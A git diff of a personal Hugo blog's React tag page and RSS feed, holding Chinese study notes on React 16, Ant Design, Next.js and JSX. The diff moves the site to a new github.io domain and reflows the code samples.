content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="React"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>React</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
-return[
-&lt;div>hallo&lt;/div>,
-&lt;div>word&lt;/div>
-]
-}
-或者
-render(){
-return "hallo word"
-}
-错误处理
+render(){ return[ &lt;div>hallo&lt;/div>, &lt;div>word&lt;/div> ] } 或者
+render(){ return "hallo word" } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
-console.log(error,info)
-}
-Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -36,14 +24,7 @@
 导入
 import ReactMarkdown from ‘react-markdown’
 测试
-let markdown =
-"**这是加粗的文字**\n\n" +
-"*这是倾斜的文字*`\n\n" +
-"***这是斜体加粗的文字***\n\n" +
-"~~这是加删除线的文字~~ \n\n" +
-"`console.log(111)` \n\n" +
-"``` var a=11; ```";
-&lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://xiaochenabc123.github.io/posts/94/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
+let markdown = "**这是加粗的文字**\n\n" + "*这是倾斜的文字*`\n\n" + "***这是斜体加粗的文字***\n\n" + "~~这是加删除线的文字~~ \n\n" + "`console.log(111)` \n\n" + "``` var a=11; ```"; &lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://chenjunlinabc.github.io/posts/94/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
 yarn create react-app antd-demo
@@ -58,14 +39,7 @@
 yarn create react-app antd-demo-ts –template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
-import { DatePicker, Space } from 'antd';
-ReactDOM.render(
-&lt;Space direction="vertical">
-&lt;DatePicker/>
-&lt;/Space>,
-document.getElementById('root'),
-);</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://xiaochenabc123.github.io/posts/82/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( &lt;Space direction="vertical"> &lt;DatePicker/> &lt;/Space>, document.getElementById('root'), );</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://chenjunlinabc.github.io/posts/82/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>NextJS学习笔记</h2></header><div class=entry-content><p>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
 全称single page web application
@@ -79,13 +53,7 @@
 在scripts下加添加
 “dev” : “next”, “build”: “next build”, “start”: “next start”
 创建个js文件
-function Hallo(){
-return(
-&lt;div>hallo next.js&lt;/div>
-)
-}
-export default Hallo
-yarn dev调试
+function Hallo(){ return( &lt;div>hallo next.js&lt;/div> ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -99,45 +67,20 @@
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from "next/link"
-&lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link>
-Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://xiaochenabc123.github.io/posts/74/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
+import Link from "next/link" &lt;Link href="/">&lt;a>返回&lt;/a>&lt;/Link> Link不支持直接加兄弟标签，起码要有一个父级标签...</p></div><footer class=entry-footer><span title='2021-08-07 23:26:00 +0000 UTC'>2021-08-07</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NextJS学习笔记" href=https://chenjunlinabc.github.io/posts/74/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习React</h2></header><div class=entry-content><p>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-})
-console.log(this.state.count)
-state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =>{
-return{
-count: state.count + 1
-}
-},() => {
-console.log(this.state.count)
-})
-可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =>{ return{ count: state.count + 1 } },() => { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
-&lt;div>hallo&lt;/div>
-)
-console.log(Abc)
-可以看到输出返回的是一个js对象
+const Abc = ( &lt;div>hallo&lt;/div> ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -149,7 +92,7 @@
 如果需要在多个方法中使用（共享）的数据，应该放在this中
 因为组件更新机制的原因，子组件没有变化也会重新渲染
 解决方法：
-使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://xiaochenabc123.github.io/posts/63/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
+使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行...</p></div><footer class=entry-footer><span title='2021-07-25 12:00:00 +0000 UTC'>2021-07-25</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习React" href=https://chenjunlinabc.github.io/posts/63/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>React学习笔记</h2></header><div class=entry-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
 必需：react和react-dom
@@ -158,39 +101,17 @@
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&lt;script type="text/babel">
-ReactDOM.render(
-&lt;h1>hallo,react!!!&lt;/h1>,
-document.getElementById("app")
-);
-&lt;/script>
-使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&lt;script type="text/babel"> ReactDOM.render( &lt;h1>hallo,react!!!&lt;/h1>, document.getElementById("app") ); &lt;/script> 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &lt;h1>hallo&lt;/h1>;
-像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &lt;h1>hallo&lt;/h1>; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
-return yes.name;
-}
-const yes = {
-name: "react"
-};
-const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>;
-ReactDOM.render(
-hallo,
-document.getElementById("app")
-);
-当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!"))
-/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
-ReactDOM.render(hallo,document.getElementById("app"))
-/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
-react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: "react" }; const hallo = &lt;h1>hallo,{hallo(yes)}&lt;/h1>; ReactDOM.render( hallo, document.getElementById("app") ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement("h1",{class: "main"},React.createElement("p",null,"hallo word!!!")) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById("app")) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
 npm start或者yarn start
-模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://xiaochenabc123.github.io/posts/55/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+模块化导入react...</p></div><footer class=entry-footer><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React学习笔记" href=https://chenjunlinabc.github.io/posts/55/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/react/index.xml b/tags/react/index.xml
index 8ee7ff8f..a8bd5086 100644
--- a/tags/react/index.xml
+++ b/tags/react/index.xml
@@ -2,31 +2,31 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>React on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/react/</link>
+    <link>https://chenjunlinabc.github.io/tags/react/</link>
     <description>Recent content in React on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 03 Sep 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/react/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 03 Sep 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/react/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>React进阶学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/94/</link>
+      <link>https://chenjunlinabc.github.io/posts/94/</link>
       <pubDate>Fri, 03 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/94/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/94/</guid>
       <description>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
return[
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;,
&amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt;
]
}
或者
-render(){
return &amp;quot;hallo word&amp;quot;
}
错误处理
+render(){ return[ &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;, &amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt; ] } 或者
+render(){ return &amp;quot;hallo word&amp;quot; } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
console.log(error,info)
}
Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -44,15 +44,15 @@ yarn add react-markdown
 导入
 import ReactMarkdown from &amp;lsquo;react-markdown&amp;rsquo;
 测试
-let markdown =
&amp;quot;**这是加粗的文字**\n\n&amp;quot; +
&amp;quot;*这是倾斜的文字*`\n\n&amp;quot; +
&amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; +
&amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; +
&amp;quot;`console.log(111)` \n\n&amp;quot; +
&amp;quot;``` var a=11; ```&amp;quot;;
&amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt;
</description>
+let markdown = &amp;quot;**这是加粗的文字**\n\n&amp;quot; + &amp;quot;*这是倾斜的文字*`\n\n&amp;quot; + &amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; + &amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; + &amp;quot;`console.log(111)` \n\n&amp;quot; + &amp;quot;``` var a=11; ```&amp;quot;; &amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt; </description>
     </item>
     
     <item>
       <title>简单使用Ant Design组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/82/</link>
+      <link>https://chenjunlinabc.github.io/posts/82/</link>
       <pubDate>Tue, 10 Aug 2021 23:03:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/82/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/82/</guid>
       <description>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
@@ -68,15 +68,15 @@ yarn add antd
 yarn create react-app antd-demo-ts &amp;ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import &#39;antd/dist/antd.css&#39;;
import { DatePicker, Space } from &#39;antd&#39;;
ReactDOM.render(
&amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt;
&amp;lt;DatePicker/&amp;gt;
&amp;lt;/Space&amp;gt;,
document.getElementById(&#39;root&#39;),
); </description>
+import &#39;antd/dist/antd.css&#39;; import { DatePicker, Space } from &#39;antd&#39;; ReactDOM.render( &amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt; &amp;lt;DatePicker/&amp;gt; &amp;lt;/Space&amp;gt;, document.getElementById(&#39;root&#39;), ); </description>
     </item>
     
     <item>
       <title>NextJS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/74/</link>
+      <link>https://chenjunlinabc.github.io/posts/74/</link>
       <pubDate>Sat, 07 Aug 2021 23:26:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/74/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/74/</guid>
       <description>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
@@ -91,7 +91,7 @@ yarn init
 在scripts下加添加
 &amp;ldquo;dev&amp;rdquo; : &amp;ldquo;next&amp;rdquo;, &amp;ldquo;build&amp;rdquo;: &amp;ldquo;next build&amp;rdquo;, &amp;ldquo;start&amp;rdquo;: &amp;ldquo;next start&amp;rdquo;
 创建个js文件
-function Hallo(){
return(
&amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt;
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( &amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt; ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -105,29 +105,29 @@ yarn create-next-app demo
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &amp;quot;next/link&amp;quot;
&amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt;
Link不支持直接加兄弟标签，起码要有一个父级标签</description>
+import Link from &amp;quot;next/link&amp;quot; &amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt; Link不支持直接加兄弟标签，起码要有一个父级标签</description>
     </item>
     
     <item>
       <title>深入学习React</title>
-      <link>https://xiaochenabc123.github.io/posts/63/</link>
+      <link>https://chenjunlinabc.github.io/posts/63/</link>
       <pubDate>Sun, 25 Jul 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/63/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/63/</guid>
       <description>setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
})
console.log(this.state.count)
state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =&amp;gt;{
return{
count: state.count + 1
}
},() =&amp;gt; {
console.log(this.state.count)
})
可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =&amp;gt;{ return{ count: state.count + 1 } },() =&amp;gt; { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;
)
console.log(Abc)
可以看到输出返回的是一个js对象
+const Abc = ( &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt; ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -144,10 +144,10 @@ state只存储和组件渲染相关的数据，例如列表数据，而不用来
     
     <item>
       <title>React学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/55/</link>
+      <link>https://chenjunlinabc.github.io/posts/55/</link>
       <pubDate>Fri, 09 Jul 2021 22:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/55/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/55/</guid>
       <description>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
@@ -157,12 +157,12 @@ react-dom包提供DOM相关的功能
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt;
ReactDOM.render(
&amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
);
&amp;lt;/script&amp;gt;
使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt; ReactDOM.render( &amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ); &amp;lt;/script&amp;gt; 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;;
像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
return yes.name;
}
const yes = {
name: &amp;quot;react&amp;quot;
};
const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;;
ReactDOM.render(
hallo,
document.getElementById(&amp;quot;app&amp;quot;)
);
当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;))
/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;))
/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: &amp;quot;react&amp;quot; }; const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;; ReactDOM.render( hallo, document.getElementById(&amp;quot;app&amp;quot;) ); 当然react并没有强制要求必须使用jsx，例如：
